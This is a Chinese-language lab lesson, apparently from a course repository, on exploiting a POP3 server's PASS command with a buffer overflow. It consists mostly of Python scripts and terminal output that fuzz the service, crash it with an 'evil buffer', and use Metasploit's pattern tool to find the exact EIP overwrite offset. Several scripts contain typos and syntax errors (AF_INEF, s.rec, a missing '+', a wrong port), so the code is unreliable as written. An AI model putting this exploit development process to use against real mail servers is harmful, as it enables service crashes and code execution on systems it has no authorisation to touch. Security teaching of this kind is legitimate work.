-
Notifications
You must be signed in to change notification settings - Fork 23
/
Copy path课时40 POP3.txt
executable file
·180 lines (146 loc) · 5.31 KB
/
课时40 POP3.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
课时40 POP3
╋━━━━━━━━╋
┃POP3 ┃
┃NC 110端口 ┃
┃了解未知协议 ┃
┃ wireshark ┃
┃ RFC ┃
┃01.py ┃
╋━━━━━━━━╋
root@kali:~# nc 192.168.1.119 110
+OK POP3 server lab.com ready <[email protected]>
USER test
+OK test welcome here
pass aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
-ERR unable to lock mailbox
╭────────────────────────────────────────────╮
[01.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
try:
print "\nSending evil buffer..."
s.connect(('192.168.20.32',110))
data = s.recv(1024)
print data
s.send('USER yuanfu'+'\r\n')
data = s.rec(1024)
print data
s.send('PASS test\r\n')
data = s.recv(1024)
print data
s.close()
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
root@kali:~# ./01.py
Sending evil buffer
+OK POP3 server lab.com ready <[email protected]>
+OK yuanfu welcome here
-ERR invalid password
Done!
╋━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃测试PASS命令接收到大量数据时是否会溢出 ┃
┃EIP寄存器存放下一条指令的地址 ┃
┃02.py ┃
╋━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[02.py]
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.20.32',100))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
╰────────────────────────────────────────────╯
root@kali:~# ./02 .py
Fuzzing PASS with 1 bytes
Fuzzing PASS with 100 bytes
Fuzzing PASS with 300 bytes
Fuzzing PASS with 500 bytes
Fuzzing PASS with 700 bytes
Fuzzing PASS with 900 bytes
Fuzzing PASS with 1100 bytes
Fuzzing PASS with 100 bytes
Fuzzing PASS with 1300 bytes
Fuzzing PASS with 1500 bytes
Fuzzing PASS with 1700 bytes
Fuzzing PASS with 1900 bytes
Fuzzing PASS with 2100 bytes
Fuzzing PASS with 2300 bytes
Fuzzing PASS with 2500 bytes
Fuzzing PASS with 2700 bytes
Fuzzing PASS with 2900 bytes
Fuzzing PASS with 3100 bytes
Traceback (most recent call last):
File "./02.py", line 13, in <module>
connect = s.connect(('192.168.1.119',110))
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
┃FUZZING ┃
┃2700个字符实现EIP寄存器溢出 ┃
┃03.py ┃
┃找到精确溢出的4个字节 ┃
┃ 二分法 ┃
┃ 唯一字串法 ┃
┃ usr/share/metasloit-framework/tools/pattern_create.rb 2700┃
┃ 04.py ┃
┃ 05.py ┃
╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋
╭────────────────────────────────────────────╮
[03.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
buffer = "A" * 2700
try:
print "\nSending evil buffer..."
s.connect(('192.168.20.32',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.rec(1024)
s.send('PASS' + buffer 'test\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯
root@kali:~# ./03.py
Sending evil buffer
Done!
root@kali:~# cd usr/share/metasloit-framework/tools
root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 2700
root@kali:usr/share/metasloit-framework/tools# ./pattern_create.rb 39694438
[*] Exact match at offset 2606
root@kali:usr/share/metasloit-framework/tools# 8Di9
╭────────────────────────────────────────────╮
[05.py]
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INEF.socket.SOCK_STREAM)
buffer = "A" * 2606+"b"*4+"c"*20
try:
print "\nSending evil buffer..."
s.connect(('192.168.20.32',110))
data = s.recv(1024)
s.send('USER test'+'\r\n')
data = s.rec(1024)
s.send('PASS' + buffer 'test\r\n')
print "\nDone!"
except:
print "Could not connect to POP3!"
╰────────────────────────────────────────────╯